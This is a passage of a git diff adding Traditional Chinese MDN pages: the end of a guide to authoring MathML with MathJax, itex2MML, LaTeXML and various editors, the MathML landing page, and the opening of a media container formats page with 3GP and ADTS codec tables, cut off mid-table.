+    <span class="token script"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>text/x-mathjax-config<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>
+      MathJax<span class="token punctuation">.</span>Hub<span class="token punctuation">.</span><span class="token function">Config<span class="token punctuation">(</span></span><span class="token punctuation">{</span>
+        MMLorHTML<span class="token punctuation">:</span> <span class="token punctuation">{</span> prefer<span class="token punctuation">:</span> <span class="token punctuation">{</span> Firefox<span class="token punctuation">:</span> <span class="token string">"MML"</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span>
+      <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
+    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span></span>
+    <span class="token script"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>text/javascript<span class="token punctuation">"</span></span>
+            <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>http://cdn.mathjax.org/mathjax/latest/MathJax.js?config<span class="token punctuation">=</span>TeX-AMS-MML_HTMLorMML<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>
+   <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span></span>
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">&gt;</span></span>
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">&gt;</span></span>
+   \[ \tau = \frac{x}{y} + \sqrt{3} \]
+...</code></pre>
+<p>Note that <a href="http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters" title="http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters">the dollar delimiters are not used by default</a>. To use the ASCIIMathML input instead, just replace <code>TeX-AMS-MML_HTMLorMML</code> by <code>AM-MML_HTMLorMML</code>.  MathJax has many other features, see the <a href="http://docs.mathjax.org/en/latest/" title="http://docs.mathjax.org/en/latest/">MathJax documentation</a> for further details.</p>
+<h3 id="Command-line_Programs">Command-line Programs</h3>
+<p>An alternative way is to parse the simple syntax before publishing your web pages. That is, you use command-line programs to generate them and publish these static pages on your server.</p>
+<ul>
+ <li>pros:
+  <ul>
+   <li>You get static Web pages: the LaTeX source don't need to be parsed at each page load, the MathML code is exposed to Web crawlers and you can put them easily on any Web server.</li>
+   <li>Binary programs may run faster than Javascript programs and can be more sophisticated e.g. have a much complete LaTeX support or generate other formats like EPUB.</li>
+   <li>You can keep compatibility with other tools to generate pdf e.g. you can use the same .tex source for both latex and latexml.</li>
+  </ul>
+ </li>
+ <li>cons:
+  <ul>
+   <li>This requires to install programs on your computer, which may be a bit more difficult or they may not be available on all platforms.</li>
+   <li>You must run the programs on your computer and have some kind of workflow to get the Web pages at the end ; that may be a bit tedious.</li>
+   <li>Binary programs are not appropriate to integrate them in a Mozilla extension or XUL application.</li>
+  </ul>
+ </li>
+</ul>
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> can be used <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla#usage-from-the-command-line">from the command line</a> and will essentially have the same support as itex2MML described below. However, the stream filter behavior is not implemented yet.</p>
+<p>If you only want to parse simple LaTeX mathematical expressions, you might want to try tools like <a href="http://golem.ph.utexas.edu/%7Edistler/blog/itex2MML.html" title="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html">itex2MML</a> or <a href="http://gva.noekeon.org/blahtexml/" title="http://gva.noekeon.org/blahtexml/">Blahtex</a>. The latter is often available on Linux distributions. Let's consider the former, which was originally written by Paul Gartside at the beginning of the Mozilla MathML project and has been maintained by Jacques Distler since then. It's a small stream filter written in C/C++ and generated with flex and bison ; in particular it is very fast. Install flex/bison as well as the classical compiler and make tools. On Unix, you can then download itex2MML, build and install it:</p>
+<pre class="brush: bash  language-html"><code class="language-html">wget http://golem.ph.utexas.edu/~distler/blog/files/itexToMML.tar.gz; \
+tar -xzf itexToMML.tar.gz; \
+cd itex2MML/itex-src;
+make
+sudo make install</code></pre>
+<p>Now suppose that you have a HTML page with TeX fragments delimited by dollars:</p>
+<pre class="brush: html  language-html"><code class="language-html">input.html
+
+...
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">&gt;</span></span>
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">&gt;</span></span>$\sqrt{a^2-3c}$<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">&gt;</span></span>
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">&gt;</span></span>$$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $$<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">&gt;</span></span></code></pre>
+<p>Then to generate the HTML page input.html with TeX expressions replaced by MathML expressions, just do</p>
+<pre class="language-html">cat input.html | itex2MML &gt; output.html</pre>
+<p>There are even more sophisticated tools to convert arbitrary LaTeX documents into HTML+MathML. For example <a href="https://www.tug.org/tex4ht/">TeX4ht</a> is often included in TeX distributions and has an option to use MathML instead of PNG images. This command will generate an XHTML+MathML document foo.xml from a foo.tex LaTeX source:</p>
+<pre class="language-html">   mk4ht mzlatex foo.tex # Linux/Mac platforms
+   mzlatex foo.tex       # Windows platform
+</pre>
+<p><a href="http://dlmf.nist.gov/LaTeXML/">LaTeXML</a> is another tool that is still actively developed but the release version is rather old, so you'd better <a href="https://github.com/KWARC/LaTeXML">install the development version</a>. In particular, this version can generate HTML5 and EPUB documents. Here is the command to execute in order to create a foo.html Web page from the foo.tex LaTeX source:</p>
+<pre class="language-html">  latexml --dest foo.xml foo.tex
+  latexmlpost --dest foo.html --format=html5 foo.xml
+</pre>
+<p>If you want to have a MathJax fallback for non-Gecko browsers, copy the <a href="https://developer.mozilla.org/zh-TW/docs/Web/MathML/Authoring$edit#mathjax-fallback">Javascript lines given above</a> into a <code>mathjax.js</code> file and use the <code>--javascript</code> parameter to tell LaTeXML to include that file:</p>
+<pre class="language-html">  latexmlpost --dest foo.html --format=html5 --javascript=mathjax.js foo.xml
+</pre>
+<p>If your LaTeX document is big, you might want to split it into several small pages rather putting everything in a single page. This is especially true if you use the MathJax fallback above, since in that case MathJax will take a lot of time to render the equations in non-Gecko browsers. Use the <code>--splitat</code> parameter for that purpose. For example, this will split the pages at the <code>\section</code> level:</p>
+<pre class="language-html">  latexmlpost --dest foo.html --format=html5 --splitat=section foo.xml
+</pre>
+<p>Finally, to generate an EPUB document, you can do</p>
+<pre class="language-html">  latexmlc --dest foo.epub --splitat=section foo.xml
+</pre>
+<h3 id="Server-side_Conversion">Server-side Conversion</h3>
+<ul>
+ <li>pros:
+  <ul>
+   <li>Conversion is done server-side and the MathML output can be cached, which is more efficient and cleaner than client-side conversion.</li>
+  </ul>
+ </li>
+ <li>cons:
+  <ul>
+   <li>This might be a bit more difficult to set up, since you need some admin right on your server.</li>
+  </ul>
+ </li>
+</ul>
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> can be <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#using-texzilla-as-a-web-server">used as a Web server</a> in order to perform server-side LaTeX-to-MathML conversion. <a href="http://dlmf.nist.gov/LaTeXML/">LaTeXML</a> can also be used as a deamon to run server-side. <a href="https://github.com/gwicke/mathoid">Mathoid</a> is another tool based on MathJax that is also able to perform additional MathML-to-SVG conversion.</p>
+<p><a href="http://instiki.org/show/HomePage">Instiki</a> is a Wiki that integrates itex2MML to do server-side conversion. In future versions, <a href="https://www.mediawiki.org/wiki/MediaWiki">MediaWiki</a> will support server-side conversion too.</p>
+<h2 id="Graphical_Interface">Graphical Interface</h2>
+<h3 id="Input_Box">Input Box</h3>
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> has several interfaces, including a <a href="http://ckeditor.com/addon/texzilla">CKEditor plugin</a> used on MDN, an <a href="http://fred-wang.github.io/TeXZilla/">online demo</a>, a <a href="https://addons.mozilla.org/en-US/firefox/addon/texzilla/">Firefox add-on</a> or a <a href="http://r-gaia-cs.github.io/TeXZilla-webapp/">FirefoxOS Webapp</a>. <a href="http://abisource.org/">Abiword</a> contains a small equation editor, based on itex2MML.<a href="http://www.bluegriffon.com/"> Bluegriffon</a> is a mozilla-based Wysiwyg HTML editor and has an add-on to insert MathML formulas in your document, using ASCII/LaTeX-like syntax.</p>
+<p style="text-align: center;"><img alt="BlueGriffon" src="http://www.bluegriffon.com/public/shots/mathml-shot1.png" style="width: 358px; height: 467px;"></p>
+<h3 id="WYSIYWG_Editors">WYSIYWG Editors</h3>
+<p><a href="http://www.firemath.info/">Firemath</a> is an extension for Firefox that provides a WYSIWYG MathML editor. A preview of the formula is displayed using the rendering engine of Mozilla. The generated MathML code is available at the bottom. Use the text field for token elements and buttons to build advanced constructions. Once you are done, you can save your document as a XHTML page.</p>
+<p><a href="http://www.openoffice.org/">OpenOffice</a> and <a href="http://libreoffice.org/">LibreOffice</a> have an equation editor (File → New → Formula). It is semi-WYSIWYG: you enter the source of the formula using the equation panel/keyboard and a preview of the formula is regularly refreshed. The editor uses its own syntax "StarMath" for the source but MathML is also generated when the document is saved. To get the MathML code, save the document as mml and open it with any text editor. Alternatively, you can extract the odf file (which is actually a zip archive) and open an xml file called <code>content.xml</code>.</p>
+<p style="text-align: center;"><img alt="Open Office Math" src="https://developer.mozilla.org/@api/deki/files/4261/=openoffice.png" style="width: 483px; height: 527px;"></p>
+<p><a href="http://www.w3.org/Amaya/">Amaya</a> is the W3C's web editor, which is able to handle MathML inside XHTML documents. Use the Elements and the Special Chars panels to create various advanced mathematical constructs. Simple text such as <code>a+2</code> is automatically parsed and the appropriate MathML markup is generated. Once you are done, you can directly save your XHTML page and open it in Mozilla.</p>
+<h2 id="Optical_Character_Handwriting_Recognition">Optical Character &amp; Handwriting Recognition</h2>
+<p><a href="http://www.inftyreader.org/">Inftyreader</a> is able to perform some Optical Character Recognition, including translation of mathematical equations into MathML. Other tools can do handwriting recognition such as the <a href="http://windows.microsoft.com/en-za/windows7/use-math-input-panel-to-write-and-correct-math-equations">Windows Math Input Panel</a></p>
+<p style="text-align: center;"><img alt="Windows Math Input Panel" src="http://res1.windows.microsoft.com/resbox/en/windows%207/main/50f56cb9-478c-48e9-867e-8de06e1d4190_46.jpg" style="width: 410px; height: 385px;"></p>
+<p>or the online converter <a href="http://webdemo.visionobjects.com/" title="http://webdemo.visionobjects.com/portal.html">Web Equation</a>.</p>
+<h3 id="sect2"> </h3>
+<p>Original Document Information</p>
+<div class="originaldocinfo">
+ <ul>
+  <li>Author(s): Frédéric Wang</li>
+  <li>Other Contributors: Florian Scholz</li>
+  <li>Copyright Information: Portions of this content are © 2010 by individual mozilla.org contributors; content available under a Creative Commons license | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Details</a>.</li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/mathml/index.html b/files/zh-tw/web/mathml/index.html
new file mode 100644
index 0000000000..64f0142222
--- /dev/null
+++ b/files/zh-tw/web/mathml/index.html
@@ -0,0 +1,107 @@
+---
+title: MathML
+slug: Web/MathML
+translation_of: Web/MathML
+---
+<p><strong>  Mathematical Markup Language (MathML)</strong> 是一種基於 <a href="/en-US/docs/XML" title="/en-US/docs/XML">XML</a> 的延伸，可以用來描述數學符號以及保留數學式結構和內容。在這裡你可以找到參考文件, 範例以及工具。你可以從 <a href="http://fred-wang.github.io/MozSummitMathML/index.html">slides for the innovation fairs at Mozilla Summit 2013</a> 做個快速的大致瀏覽。</p>
+<div class="row topicpage-table">
+ <div class="section">
+  <h2 class="Documentation" id="Documentation" name="Documentation">MathML references</h2>
+  <dl>
+   <dt>
+    <a href="/en-US/docs/Web/MathML/Element" title="/en-US/docs/Web/MathML/Element">MathML element reference</a></dt>
+   <dd>
+    關於每一個 MathML element 的細節及其在桌面環境和瀏覽器的支援情形。</dd>
+   <dt>
+    <a href="/en-US/docs/Web/MathML/Attribute" title="/en-US/docs/Web/MathML/Attribute">MathML attribute reference</a></dt>
+   <dd>
+    關於可改變 MathML element 外觀及行為的 MathML attributes。</dd>
+   <dt>
+    <a href="/en-US/docs/Web/MathML/Examples" title="/en-US/docs/Web/MathML/Examples">MathML examples</a></dt>
+   <dd>
+    MathML 的範例。透過這些範例你能更明白 MathML 是如何運作的。</dd>
+   <dt>
+    <a href="/zh-TW/docs/Web/MathML/Authoring" title="/en-US/docs/Web/MathML/Authoring">Authoring MathML</a></dt>
+   <dd>
+    這裡提供一些關於 MathML 的建議以及小提示，包括適當的編輯器以及如何將他們和你的網頁內容整合。</dd>
+  </dl>
+  <p><span class="alllinks"><a href="/en-US/docs/tag/MathML" title="/en-US/docs/tag/CSS">View All...</a></span></p>
+ </div>
+ <div class="section">
+  <h2 class="Community" id="Getting_help_from_the_community">Getting help from the community</h2>
+  <ul>
+   <li>參考 Mozilla 討論區 ...<br>
+    {{ DiscussionList("dev-tech-mathml", "mozilla.dev.tech.mathml") }}</li>
+   <li><a class="link-irc" href="irc://irc.mozilla.org/%23mathml" rel="external" title="irc://irc.mozilla.org/%23mathml">IRC channel</a></li>
+   <li><a class="link-https" href="https://wiki.mozilla.org/MathML:Home_Page">Wiki used by Mozilla contributors</a></li>
+   <li><a href="http://www.w3.org/Math/" title="http://www.w3.org/Math/">W3C Math Home</a></li>
+   <li><a href="http://lists.w3.org/Archives/Public/www-math/" title="http://lists.w3.org/Archives/Public/www-math/">www-math w3.org mail archive</a></li>
+  </ul>
+  <h2 class="Tools" id="Tools">Tools</h2>
+  <ul>
+   <li><a class="external" href="http://validator.w3.org">W3C Validator</a></li>
+   <li><a class="link-https" href="https://addons.mozilla.org/de/firefox/addon/8969/">FireMath Firefox add-on</a></li>
+   <li><a href="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/" title="https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/">Mathzilla Firefox add-on collection</a></li>
+   <li><a href="http://dlmf.nist.gov/LaTeXML/" title="http://dlmf.nist.gov/LaTeXML/">LaTeXML</a> - 將 LaTeX 文件編譯為 HTML+MathML 網頁</li>
+   <li><a href="http://webdemo.visionobjects.com/home.html#equation" title="http://webdemo.visionobjects.com/equation.html">Web Equation</a> - 將手寫的數學式轉換成 MathML 或 LaTeX</li>
+   <li><a href="http://www.mathjax.org/" title="http://www.mathjax.org/">MathJax</a> - 使數學式的展現能跨瀏覽器的 JavaScript display engine</li>
+  </ul>
+  <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+  <ul>
+   <li><a href="/en-US/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a></li>
+   <li><a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a></li>
+   <li><a href="/en-US/docs/Web/SVG" title="/en-US/docs/Web/SVG">SVG</a></li>
+  </ul>
+ </div>
+</div>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.8")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.8")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div>
+ <h3 id="Gecko_notes">Gecko notes</h3>
+ <p>Starting with Firefox 1.5, most of the presentation markup from the <a class="external" href="http://www.w3.org/TR/MathML2/">MathML 2.0 W3C Recommendation</a> is supported on all platforms. Support for <a class="external" href="http://www.w3.org/TR/MathML3/" title="http://www.w3.org/TR/MathML3/">MathML 3</a> is <a href="/en-US/docs/Mozilla_MathML_Project/Status" title="/en-US/docs/Mozilla_MathML_Project/Status">in process</a>.</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/media/formats/containers/index.html b/files/zh-tw/web/media/formats/containers/index.html
new file mode 100644
index 0000000000..f77ec0ab42
--- /dev/null
+++ b/files/zh-tw/web/media/formats/containers/index.html
@@ -0,0 +1,1325 @@
+---
+title: Media container formats (file types)
+slug: Web/Media/Formats/Containers
+translation_of: Web/Media/Formats/Containers
+---
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}</div>
+
+<p>視訊與音訊的檔案格式被定義成兩個部分（當然如果一個檔案同時擁有影、音的話，那就有三個）：一個是音訊或/和視訊的編解碼器(codecs，<span class="st">由 compress 和 decompress</span> 所組成的詞語)，另一個是媒體封裝的格式(media container format，即檔案類型)。<span class="seoSummary">在本次導覽中，我們將會看到網路上最常見的封裝格式，並介紹它們的基本規格、優點、限制，以及理想的使用情形。</span></p>
+
+<p><a href="/en-US/docs/Web/API/WebRTC_API">網頁即時通訊(WebRTC)</a>並不採用容器(container)，而是以 {{domxref("MediaStreamTrack")}} 物件來表示編碼過的影軌和音軌(一個物件表示一種媒體軌)，直接從一端串流到另一端。你可以參閱 <a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">WebRTC 使用的編解碼器</a>來了解進行 WebRTC 時常用的編解碼器，以及瀏覽器對它們的相容性。</p>
+
+<h2 id="常見的封裝格式">常見的封裝格式</h2>
+
+<p>世上的媒體封裝格式多如牛毛，所以我們在這裡僅列出你最有機會遇到的幾種，其中有的只支援音訊，有的影音都支援。我們也會列出它們各自的媒體類型(MIME type)和副檔名(extension)。網路上最常見的封裝容器有 MPEG-4 (MP4)、QuickTime Movie (MOV)，以及 Wavefile Audio File Format (WAV)。當然你也可能會遇到如 MP3、Ogg、WebM、AVI 等其他格式，但不是所有瀏覽器都支援它們就是了。為了方便起見，同時也是因為它們實在太常見了，有些封裝容器與編解碼器的組合會有專屬它們的副檔名跟媒體類型。好比說，只有一個 Opus 音軌的 Ogg 檔通常會被稱為 Opus 檔，它有自己的副檔名 <code>.opus</code>，但它其實還是一個 Ogg 檔。</p>
+
+<p>由於特定的編解碼器通常會放在特定的封裝容器裡，所以這樣的組合會被特別看待，比方說 MP3 音訊檔就是一個很好的例子，它是由 MPEG-1 封裝容器與一個以 MPEG-1 Audio Layer III encoding 編碼過的音軌所組成，這種檔案使用 <code>audio/mp3</code> 作為媒體類型；<code>.mp3</code> 作為副檔名，即便它的封裝容器不過就是 MPEG 罷了。</p>
+
+<h3 id="索引" style="font-size: 1.4em;">索引</h3>
+
+<p>點擊列表中你想知道的封裝格式，即會將你傳送到該項目的細節內容，其中包含它的用途、它支援的編解碼器、支援它的瀏覽器等等。</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">編解碼器名(縮寫)</th>
+   <th scope="col">完整編解碼器名</th>
+   <th scope="col">瀏覽器相容性<sup><a href="#index-foot-1">1</a></sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">{{anch("3GP")}}</th>
+   <td>Third Generation Partnership</td>
+   <td>Firefox for Android</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("ADTS")}}</th>
+   <td>Audio Data Transport Stream</td>
+   <td>Firefox<sup><a href="#index-foot-2">2</a></sup></td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("FLAC")}}</th>
+   <td>Free Lossless Audio Codec</td>
+   <td>Chrome 56, Edge 16, Firefox 51, Safari 11</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("MPEG", "MPEG / MPEG-2")}}</th>
+   <td>Moving Picture Experts Group (1 and 2)</td>
+   <td>—</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("MP4", "MPEG-4 (MP4)")}}</th>
+   <td>Moving Picture Experts Group 4</td>
+   <td>Chrome 3, Edge 12, Firefox, Internet Explorer 9, Opera 24, Safari 3.1</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("Ogg")}}</th>
+   <td>Ogg</td>
+   <td>Chrome 3, Firefox 3.5, Edge 17<sup><a href="#index-foot-3">3</a></sup> (desktop only), Internet Explorer 9, Opera 10.50</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("QuickTime", "QuickTime (MOV)")}}</th>
+   <td>Apple QuickTime movie</td>
+   <td>只有舊版的 Safari 和其他支援 Apple 的 QuickTime plugin 的瀏覽器</td>
+  </tr>
+  <tr>
+   <th scope="row">{{anch("WebM")}}</th>
+   <td>Web Media</td>
+   <td>Chrome 6, Edge 17<sup><a href="#index-foot-3">3</a></sup> (desktop only), Firefox 4, Opera 10.6, Safari (WebRTC only)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="index-foot-1" name="index-foot-1">[1]</a> 除非特別說明，否則表中提及的瀏覽器包含其行動版與桌面版。此外「支援」指的是針對封裝容器本身，而非特定的編解碼器。</p>
+
+<p><a id="index-foot-2" name="index-foot-2">[2]</a> 只在作業系統底層的媒體框架(media framework)有支援時才有。</p>
+
+<p><a name="index-foot-3">[3]</a> 需要安裝<a href="https://www.microsoft.com/store/productId/9N5TDP8VCMHS">網路媒體延伸模組</a>。</p>
+
+<h3 id="3GP">3GP</h3>
+
+<p><strong>3GP</strong> 或 <strong>3GPP</strong> 是用來封裝音訊和/或視訊的媒體容器，它服務的對象是透過行動網路(cellular network)進行傳輸的行動裝置。雖然這個格式是為了 3G 行動電話設計的，但現代的手機與網路還是可以使用它。話雖如此，由於現今的網路有更大的頻寬和更為寬鬆的公平使用原則(data caps)，所以現在 3GP 格式也不是那麼需要了，只有較慢的網路和較差的手機才會使用這種格式。</p>
+
+<p>這個媒體封裝格式衍生自 ISO Base Media File Format 和 MPEG-4，特別針對低頻寬的情形做了最佳化。</p>
+
+<table class="standard-table">
+ <caption>基本的 3GP 媒體型態</caption>
+ <thead>
+  <tr>
+   <th scope="col">音訊</th>
+   <th scope="col">視訊</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/3gpp</code></td>
+   <td><code>video/3gpp</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/3gpp2</code></td>
+   <td><code>video/3gpp2</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/3gp2</code></td>
+   <td><code>video/3gp2</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>上表是基本的 3GP 媒體型態，依照使用的編解碼器的不同，可能還會有其他型態。此外，你可以在媒體型態字串中<a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF">添加 <code>codecs</code> 參數</a>來指明你的音軌和/或影軌所採用的編解碼器，也可以提供 組態(profile)、層級(level)等其他編解碼器的配置細節。</p>
+
+<table class="standard-table">
+ <caption>3GP 支援的視訊編解碼器</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">編解碼器</th>
+   <th colspan="4" scope="col" style="text-align: center;">支援的瀏覽器</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AVC (H.264)</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a>,<a href="#3gp-vid-footnote-1">2</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">H.263</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-4 Part 2 (MP4v-es)</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP8</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="3gp-vid-footnote-1" name="3gp-vid-footnote-1">[1]</a> Firefox 只在基於 <a href="https://www.khronos.org/openmax/">OpenMAX</a> 的裝置上支援 3GP，以目前的情況來看就是 Boot to Gecko (B2G) 平台.</p>
+
+<p><a id="3gp-vid-footnote-2" name="3gp-vid-footnote-2">[2]</a> Firefox 支援 H.264 與否取決於作業系統的媒體建設如何，也就是說得要系統支援才行。</p>
+
+<table class="standard-table">
+ <caption>3GP 支援的音訊編解碼器</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">編解碼器</th>
+   <th colspan="4" scope="col" style="text-align: center;">支援的瀏覽器</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AMR-NB</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AMR-WB</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AMR-WB+</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AAC-LC</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a>,<a href="#av1-vid-footnote-2">2</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">HE-AAC v1</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a>,<a href="#av1-vid-footnote-2">2</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">HE-AAC v2</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a>,<a href="#av1-vid-footnote-2">2</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MP3</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#3gp-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="3gp-aud-footnote-1" name="3gp-aud-footnote-1">[1]</a> Firefox 只在基於 <a href="https://www.khronos.org/openmax/">OpenMAX</a> 的裝置上支援 3GP，以目前的情況來看就是 Boot to Gecko (B2G) 平台.</p>
+
+<p><a id="3gp-aud-footnote-2" name="3gp-aud-footnote-2">[2]</a> Firefox 支援 AAC 與否取決於作業系統的媒體建設如何，也就是說得要系統支援才行。</p>
+
+<h3 id="ADTS">ADTS</h3>
+
+<p><strong>Audio Data Transport Stream</strong> (<strong>ADTS</strong>) 是 MPEG-4 Part 3 為音訊資料所訂定的封裝格式，著眼於音訊串流，如網路電台。它基本上是一個空的 AAC 音訊資料串流，由 ADTS 幀(frame)和一個很小的 header 組成。</p>
+
+<table class="standard-table">
+ <caption>ADTS 媒體型態</caption>
+ <thead>
+  <tr>
+   <th scope="col">音訊</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/aac</code><sup><a href="#adts-foot-1">[1]</a></sup></td>
+  </tr>
+  <tr>
+   <td><code>audio/mpeg</code><sup><a href="#adts-foot-1">[1]</a></sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="adts-foot-1" name="adts-foot-1">[1]</a> ADTS 使用哪個媒體型態依它使用的音訊幀(audio frame)而定。如果它使用 ADTS 幀，其媒體型態為 <code>audio/aac</code>；如果它使用 MPEG-1/MPEG-2 Audio Layer I, II, or III 格式的音訊幀，它的媒體型態為 <code>audio/mpeg</code>。</p>
+
+<table class="standard-table">
+ <caption>ADTS 支援的音訊編解碼器</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">編解碼器</th>
+   <th colspan="4" scope="col" style="text-align: center;">支援的瀏覽器</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AAC</th>
+   <td></td>
